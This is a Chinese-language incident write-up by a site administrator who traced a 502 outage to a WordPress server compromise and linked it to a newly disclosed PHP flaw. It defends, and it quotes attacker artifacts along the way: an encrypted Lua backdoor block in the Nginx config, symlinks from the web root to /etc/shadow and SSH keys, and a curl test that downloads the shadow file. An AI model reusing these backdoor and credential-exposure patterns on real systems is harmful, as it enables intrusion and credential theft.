网站 502 的背后:我挖出 104 个 WebShell,和那个叫 PHP2Shell 的 PHP 核弹漏洞
下午两点半,同事说站打不开了。
我打开页面,一片 502。第一反应很平常:PHP-FPM 又挂了呗,重启一下就好。结果这一次,从一条 502 一路挖到今天凌晨被人写进服务器的 104 个后门,还有那个 10 月 21 日刚披露、代号 PHP2Shell 的 PHP 核弹级漏洞。
把过程完整写下来,该踩的坑我都替你踩了。
一、502 只是表象
我的环境是 1Panel + OpenResty(Docker)+ 两个 PHP-FPM 容器:php-8-1(8.1.31,跑 WordPress)和 php7-4(7.4.33,跑一个自建小应用)。
进服务器先看日志,Nginx 的 error.log 在刷这一行:
recv() failed (104: Connection reset by peer) while reading response header from upstream,
client: xxx, server: zxiaolin.com, request: "GET / HTTP/2.0", upstream: "fastcgi://127.0.0.1:9000"
再看容器:
docker exec php-8-1 supervisorctl status
php-fpm:php-fpm_00 STOPPED Oct 22 02:27 PM
PHP-FPM 是被主动停掉的,不是崩溃。而 supervisor 对「主动 stop」不会自动重启,所以它就那么一直躺着,站就一直 502。顺手一查,php7-4 更离谱,从前一天晚上 19:17 就停了 —— 那个站已经 502 了快一天没人发现。
到这一步,看起来还只是运维事故。重启完,两个站都回来了。
二、日志里出现了不该有的文件
问题是我顺手翻了翻容器日志,看到了这些:
GET /.navfix5.php 200
GET /.navfix6.php 200
GET /.navfix7.php 200
GET /.navfix8.php 500 ← PHP Fatal error: Undefined constant "SIGUSR2"
GET /.navfix9.php 200
GET /.navfix10.php 200
.navfix8.php 在干什么?打开一看,它在 /proc/*/cmdline 里找 php-fpm: master 的 PID,然后 posix_kill($pid, SIGUSR2) —— 手动给 PHP-FPM 发信号。
我不是在跑这个东西。
继续翻网站根目录,ls -la 之后我盯着那一列属主发呆:
-rw-r--r-- 1 root root 1134 Oct 22 14:28 .boot.php
-rw-r--r-- 1 root root 1345 Oct 22 14:27 .navfix10.php
-rw-r--r-- 1 root root 1481 Oct 22 14:27 .navfix11.php
...
-rw-r--r-- 1 root root 86 Oct 22 03:13 .p9000.php
全是 root 属主。这意味着写这些文件的那个进程,权限比我以为的高得多。
三、更狠的还在后面
紧接着我看到一批以 qa_ 开头的文件,全是符号链接:
qa_shadow -> /etc/shadow
qa_passwd -> /etc/passwd
qa_hostkey -> /etc/ssh/ssh_host_ed25519_key
qa_r_ak -> /root/.ssh/authorized_keys
qa_r_rsa -> /root/.ssh/id_rsa
qa_r_ed -> /root/.ssh/id_ed25519
有人把系统最敏感的几份文件,软链到了网站根目录。我随手一测:
curl -sk -o /dev/null -w '%{http_code}' https://zxiaolin.com/qa_shadow
200
200。
/etc/shadow(root 密码哈希)在公网上可以直接下载。那一刻我手心是凉的。
四、真正的后门:104 个
我开始按特征全盘扫。第一轮抓到一个固定密钥的家族,AES-128-ECB 加密命令、解出来直接 system() 执行,散在 wp-admin、wp-includes、wp-content/languages、uploads 各种年份目录里,共 20 个。
真正让人头皮发麻的是第二轮。我扫 uploads 目录下的 PHP 文件:
find /www/1panel/www/sites/*/index -path "*uploads*" -name "*.php" | wc -l
84
WordPress 的 uploads 目录里,永远不应该出现 PHP 文件。这 84 个文件长得像正常的资源名(loader-xxx.php、cache-xxx.php、health-xxx.php),实际是第二种变种:每个文件用独立的随机密钥,从同目录一个隐藏的 .xxxx.dat 文件里读出密文,AES-128-CBC 解密后执行。
配套的加密载荷,78 个。
再往外扫,还在 Nginx 配置目录里找到一个更过分的:
server {
listen 34567;
location /node-6a1c74b3 {
content_by_lua_block {
local fh = io.open("/www/conf.d/.python-6a1c74b3.dat", "rb")
local cip = aes:new("****", nil, aes.cipher(128, "ecb"))
local src = cip:decrypt(enc)
local fn = loadstring(src, "node-runner")
pcall(fn)
}
}
}
一个独立的、用 Lua 写的加密后门通道,监听 34567,从加密文件里加载代码执行。跟 PHP 一点关系都没有 —— 意思是就算我把 PHP 全线换掉,这条路还在。
五、时间线,对得可怕
把所有日志按时间排出来,故事就很清楚了:
| 时间(10 月 22 日) | 发生了什么 |
|---|---|
| 01:10 | 攻击者已经在调用第一个 WebShell,并且在试密钥(故意用 k=bad 试错) |
| 01:20–01:53 | 批量投放 WebShell 到 wp-admin、wp-includes、wp-content 各目录 |
| 02:05 | 上传 dbprobe.php,拿真实数据库账号密码去探 MySQL |
| 02:22–02:23 | 建符号链接,把 /etc/shadow、/etc/passwd、SSH 私钥目录挂到网站根目录 |
| 02:36–03:05 | 继续铺量,uploads 里的 84 个变种一直在用 |
| 14:25–14:27 | 有人跑 .navfix*.php 想重启 PHP-FPM,结果把 FPM 停了,站挂 |
| 14:30 | 我发现网站 502 |
然后我想起前一天看到的一条预警。
六、PHP2Shell:10 月 21 日刚披露的核弹
10 月 21 日,PHP 官方披露了两个核心层漏洞:
| 项目 | 内容 |
|---|---|
| 编号 | CVE-2026-109618、CVE-2026-109619(CNVD-2026-41674 / 41675) |
| 代号 | PHP2Shell |
| 类型 | Use-After-Free(CWE-416) |
| 评分 | CVSS v3.1 = 9.8,部分通报按 v4.0 计 9.2 |
| 影响 | 8.5.x < 8.5.12、8.4.x < 8.4.27、8.3.x < 8.3.36、8.2.x < 8.2.35,8.1 及更早全中 |
| 修复 | 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35 |
| 形态 | mod_php、PHP-FPM、php-cgi、FrankenPHP、LiteSpeed 全部受影响 |
两个漏洞的成因不太一样:
- CVE-2026-109618:请求处理中内存耗尽(OOM)时,PHP 用
longjmp()中断执行,某些条件下请求数据只初始化了一半,清理阶段碰到这块非法内存,就成了内存破坏。攻击者可以用特制的 multipart POST 直接把内存打爆来触发。 - CVE-2026-109619:PHP 在内存释放后还留着指向它的全局状态,下一个请求访问到这个「陈旧的指针」,就是经典的释放后使用。
共同点是:不需要登录,一个特制 POST 请求就够。
而我服务器上的版本:
php-8-1: PHP 8.1.31 ← 受影响,且 8.1 已 EOL,官方不再给修复版本
php7-4 : PHP 7.4.33 ← 受影响,EOL
宿主机 : PHP 8.3.6 ← 低于 8.3.36,同样受影响
漏洞 10 月 21 日披露,我的服务器 10 月 22 日凌晨 1 点就被人写进了 WebShell。这个时间差,不需要更多解释了。
还有个细节挺讽刺:我的 Nginx 全局 client_max_body_size 设的是 2048m(当时为了视频上传放的),而这个漏洞恰好是靠「把内存打爆」来触发的。权限给得越大,利用越容易。
七、我做了什么
按处理顺序,可以照着抄:
1. 先恢复可用性
docker exec php-8-1 supervisorctl start php-fpm:php-fpm_00
注意 supervisor 的组名是 php-fpm:php-fpm_00,直接写进程名会报 no such process。
2. 隔离,不要直接删
所有后门按原路径结构移到 /root/zl_quarantine_<日期>/,保留时间戳和属主,后面要取证、要看攻击者手法,都靠这些。删了就什么都查不到了。
3. 关掉那条跟 PHP 无关的通道
把 Nginx 那个 Lua 后门配置移出 conf.d,然后 先跑 nginx -t 再 reload。这一步我差点翻车:直接往站点 conf 末尾追加 location,结果落到了 server 块外面,nginx -t 直接 [emerg] location directive is not allowed here。幸好测试拦住了,线上没受影响。正确的位置是在 server 块内 include 的 rewrite 文件里。
4. 堵住投毒入口
在站点的 rewrite 配置里加一条,让 uploads 目录永远不能执行 PHP:
location ~* ^/(wp-content/uploads|upload|files)/.*\.(php|phtml|php5|php7|phar)$ {
return 403;
}
验证方式:往 uploads 扔一个探针 PHP,访问它必须返回 403,正常页面必须还是 200。我实测两边都符合。
5. 升级 PHP
这是唯一真正的修复。8.1 和 7.4 都已经 EOL,官方只提供源码级 backport,没有现成版本可以升。所以正路是在 1Panel 里构建新的 PHP 8.3.36+(或 8.4.27)运行环境,换端口起一个新容器,把站点切过去,旧容器留着当回滚手段,跑稳几天再停。
有个坑要提醒:如果你用 B2 这类加密主题,它依赖 swoole_loader(Swoole Compiler),新版本 PHP 必须配对应的 loader,否则主题白屏。扩展要照着旧容器 php -m 的输出一个一个对齐。
八、几条真心的教训
EOL 的版本就是定时炸弹。 8.1 已经停止维护,出事的时候官方连补丁都不给你,只有一个「自己编译 backport」的选项。省下来的升级成本,会在某个凌晨连本带利还回来。
uploads 能执行 PHP,迟早会被利用。 这是最经典、最不需要技术含量的上传点。一条 Nginx 规则的事,别等出事再补。
502 不要只看「进程挂没挂」。 我差点就停在「重启一下」这一步。多花十分钟翻日志,结论会完全不同 —— 那行 php-fpm_00 STOPPED 背后的真相,是有人用手在停它。
root 属主的可疑文件 = 权限已经丢了。 网站目录里出现 root 属主的文件,说明写入方不是 www-data,而是更高权限的进程。这时候要考虑的就不是「删文件」,而是「这台机器还能不能信」。
敏感文件被软链到 web 目录,比后门还致命。 /etc/shadow 能被公网 200 下载,等于密码哈希直接送人。配合已经泄露的 SSH 私钥目录,攻击者可以横向到其他机器。这类事情发生后,轮换凭据是必须的,重装重建往往才是正确答案。
最后说个感受。我处理过不少「网站打不开」,绝大多数确实是配置、证书、磁盘、进程这些无聊的原因。但这一次,从一条 502 一路挖到 104 个后门和一个 9.8 分的核弹漏洞,让我重新意识到一件事:可用性故障和入侵事件,在最初那几分钟里长得一模一样。
多看十分钟日志,可能就是两个完全不同的结局。
参考:
- PHP 官方公告:https://www.php.net/archive/2026.php#2026-10-21-5
- 加拿大 Cyber Centre 警报 AL26-026
- 国家网络安全通报中心预警(CNVD-2026-41674 / CNVD-2026-41675)
网站 502 的背后:我挖出 104 个 WebShell,和那个叫 PHP2Shell 的 PHP 核弹漏洞
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
评论交流
欢迎留下你的想法